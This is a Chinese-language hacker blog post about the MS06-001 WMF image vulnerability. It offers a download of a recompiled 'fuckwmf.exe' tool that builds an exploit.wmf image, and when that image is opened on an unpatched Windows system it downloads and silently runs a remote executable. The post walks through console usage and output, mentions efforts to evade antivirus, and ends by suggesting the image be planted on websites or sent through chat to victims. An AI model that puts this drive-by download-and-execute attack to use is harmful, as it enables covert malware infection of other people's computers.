H4x0r's Blog

ms06001一看就是06年第一个啦，以后会不会更多呢？

首先说一下漏洞相关信息资料：

ms06001图形呈现引擎漏洞测试工具

使用方法：文件名 网络地址
没有补丁的系统，打开生成的图片以后，系统会从相应网址下载文件并隐式运行

危害巨大，仅供测试，请使用者自己负担使用责任

相关链接：
中文版补丁下载：
http://www.microsoft.com/china/technet/security/bulletin/MS06-001.mspx

微软最新安全公告：http://www.microsoft.com/china/technet/security/current.mspx

工具编译：网上版本很多，都是改人家的代码。我想如果能做到免杀，就算很厉害了，事实上不太可能，因为这个漏洞触发条件太明显了嘛。我这里也摆一下臭，改成自己的啦：）
Click Here To Download

测试过程如下：

1.在CMD下运行该程序，如下：

D:\cnew>fuckwmf

Microsoft Windows WMF Download and Exec Exploit
-----------------------------------------------
编译By 下雨天/XySky[F.S.T]

使用方法: fuckwmf.exe [可执行文件网络地址]

2.用该程序生成图片，如下：

D:\cnew>fuckwmf.exe [http://192.168.1.123/15.exe]

Microsoft Windows WMF Download and Exec Exploit
-----------------------------------------------
编译By 下雨天/XySky[F.S.T]

[+] Using URL: [http://192.168.1.123/15.exe]
[+] Opening exploit.wmf: Ok!
[+] Writing Header: Ok!
[+] Writing Shellcode: Ok!
[+] Writing Nops: Ok!
[+] Writing Footer: Ok!
[+] Done!

D:\cnew>

生成完毕，你会在该目录看到一个exploit.wmf的图片，打开它，你会发现你的进程里多了一个a.exe，去看看哦：）先前我用茶咖啡监控，这个EXP会被杀，关了文件访问监控，运行后发现会提示缓冲区溢出，呵呵成功了，以下为相关的日志：

2006-1-9 13:49:28 已删除 GLIETXYSKY\Administrator explorer.exe C:\Documents and Settings\Administrator.GLIETXYSKY\桌面\ms06001\ms06001.exe BackDoor-AZV (特洛伊)

2006-1-9 13:28:57 被缓冲区溢出保护阻挡 WORKGROUP\Administrator C:\WINDOWS\explorer.exe::GetProcAddress bo:heap

3.该漏洞的利用思路

一就是把这张图片放在网上，别人访问就..........

二就是像当年的QQ表情图片啦,自己发挥吧,没心情继续下去....